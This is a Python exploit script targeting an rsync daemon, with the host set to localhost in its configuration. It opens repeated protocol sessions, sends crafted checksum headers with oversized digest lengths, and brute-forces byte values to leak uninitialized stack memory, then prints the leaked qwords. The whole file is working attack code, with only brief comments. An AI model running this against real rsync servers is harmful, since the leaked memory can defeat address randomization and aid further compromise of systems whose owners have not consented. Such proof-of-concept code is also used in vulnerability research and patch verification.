#!/usr/bin/env python3 import socket import time # Exploit Configuration # ----------------------------------------------------------------------------- HOST = "127.0.0.1" PORT = 1234 MOD = "test" # ----------------------------------------------------------------------------- PROTOCOL_EXCHANGE = b"@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4\n" LEAK_OPTS = ( b"--server\x00--sender\x00-e.LsfxCIvu\x00--checksum-seed=42\x00.\x00" + MOD.encode() + b"/hello.txt\x00\x00" ) HASH = b"xxh64" UNKNOWN_NUM = b"\x04\x00\x00\x07\x00\x00\x00\x00" NDX = b"\x01\x08\x80" def send(sock, data): try: sock.sendall(data) except Exception as e: print(f"Send error: {e}") exit(1) time.sleep(0.05) def recv(sock): try: reply = sock.recv(2048) except Exception as e: print(f"Receive error: {e}") exit(1) def pack(length, data): return data.to_bytes(length, byteorder="little", signed=False) def exchange_protocol(sock): send(sock, PROTOCOL_EXCHANGE) recv(sock) def send_module(sock, module): send(sock, module.encode() + b"\n") recv(sock) def send_options(sock, opts): send(sock, opts) recv(sock) def send_hashlist(sock, hashlist): send(sock, pack(1, len(hashlist))) send(sock, hashlist) recv(sock) def send_unknown_num(sock): send(sock, UNKNOWN_NUM) def init(module, opts, hashlist): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect((HOST, PORT)) exchange_protocol(sock) send_module(sock, module) send_options(sock, opts) send_hashlist(sock, hashlist) send_unknown_num(sock) return sock def sum_header(count, blength, s2length, remainder): size = len(NDX) + 16 + (count * (4 + s2length)) muxenv = 0x07000000 + size hdr = pack(4, muxenv) hdr += NDX hdr += pack(4, count) hdr += pack(4, blength) hdr += pack(4, s2length) hdr += pack(4, remainder) return hdr def parse_leaked_byte(sock): try: data = sock.recv(2048) except Exception as e: print(f"Fail to receive server reply: {e}") exit(1) leaked = int.from_bytes(data[23:27], byteorder="little", signed=True) return pack(1, -leaked - 1) def check_leak(sock): try: data = sock.recv(2048) except Exception as e: print(f"Fail to receive server reply: {e}") exit(1) size = int.from_bytes(data[23:27], byteorder="little", signed=True) return size < 0 def leak(): leaked = b"" # We can leak up to 10 bytes with this method for i in range(10): sock = init(MOD, LEAK_OPTS, HASH) recv(sock) # sum header payload = sum_header(256, 1, 9 + len(leaked), 0) # checksums for b in range(256): payload += pack(4, 0x00680068) payload += pack(8, 0xB7416DEA69E6E62E) payload += leaked payload += pack(1, b) send(sock, payload) byte = parse_leaked_byte(sock) if i == 10: byte = pack(1, int.from_bytes(byte, byteorder="little") + 1) leaked += byte print(leaked.hex(r" ")) # leak the rest of the bytes slowly for i in range(46): prev = len(leaked) for b in range(256): sock = init(MOD, LEAK_OPTS, HASH) recv(sock) payload = sum_header(2, 1, 9 + len(leaked), 0) for _ in range(2): payload += pack(4, 0x00680068) payload += pack(8, 0xB7416DEA69E6E62E) payload += leaked payload += pack(1, b) send(sock, payload) if check_leak(sock): leaked += pack(1, b) print(leaked.hex(r" ")) break if b % 16 == 0: print(f"Trying byte {hex(b)}") if len(leaked) == prev: print(f"Failed to leak byte {len(leaked) + 1}") return leaked def print_stack(leaked): for i in range(0, len(leaked), 8): qword = leaked[i : i + 8] qword = int.from_bytes(qword, byteorder="little") print("0x{:016x}".format(qword)) if __name__ == "__main__": leaked = leak() print_stack(leaked)